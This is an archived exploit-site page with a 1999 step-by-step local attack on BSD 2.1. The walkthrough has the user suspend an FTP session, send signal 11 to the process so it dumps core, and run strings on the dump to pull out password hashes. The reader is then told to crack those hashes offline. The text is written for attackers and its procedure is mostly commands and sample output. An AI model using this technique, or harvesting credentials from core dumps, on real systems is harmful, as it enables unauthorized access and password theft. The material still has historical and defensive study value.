exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

BSD 2.1 FTP.Core Local Exploit

BSD 2.1 FTP.Core Local Exploit
Posted Aug 17, 1999

FTP.CORE attack exploit for BSD 2.1.

tags | exploit, paper
SHA-256 | c4a6130f0768e00da52d9b07ac0f9b4863fbeead9fb7434aa82e202bf52cd52b

BSD 2.1 FTP.Core Local Exploit

Change Mirror Download
FTP.CORE attack for BSD 2.1
-----------------------------------------------------------------------------------------------------------------
by The Bronc Buster
bbuster@succeed.net
http://www2.succeed.net/~bbuster
Made for The Infected
www.infected.com
-----------------------------------------------------------------------------------------------------------------

This is a relativly simple attack, and can be done as ANY LEGIT user on a BSD 2.1 system. The focus of this attack is to get the ftp daemond to produce a core dump. When it dumps, all the information it has used up to the point it dumps will be stored in a file, in the the directory you are in, called "ftp.core". This file will contain shell and enviornment varibles, paths, and other misc stuff. What we will be looking for is the unshadowed passwd file. As this process has to access the passwd file to make sure you're legit, it stores all the information proir to your user in a buffer, and it will have to unshadow , or access the shadowed file, to do this. After you get the encrypted passwords, go find a copy of Cracker Jack and get to work. Ok, how to do it:


#ftp foobar.com
Welcom to foobar.com ftp site
blah blah blah
please enter login name> evil
that user requires a password> evil2
User evil loged in welcome to foobar.com!
Remote set to type BIN
ftp>

(now hit ^Z to suspend the process)

#ps
PID TT STAT TIME COMMAND
9526 p0 Ss 0:00.12 -csh (csh)
9539 p0 R+ 0:00.02 ps
1000 p0 Ss 0:00.22 ftp

(get the PID number to the ftp process)

#kill -11 1000

(kill the process)

#fg

(bring the ftp back to the foreground)

Process Killed Core Dump
#ls
home mail public_html ftp.core
#strings ftp.core > test
#pico test

From this point you have the .core in pico and should be able to pick it clean of all passwords and other information you might be interested in.

This has only been tested, and worked on BSD 2.1 so far, if it works on other systems, feel free to modify this text to reflect it.

Bronc Buster
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close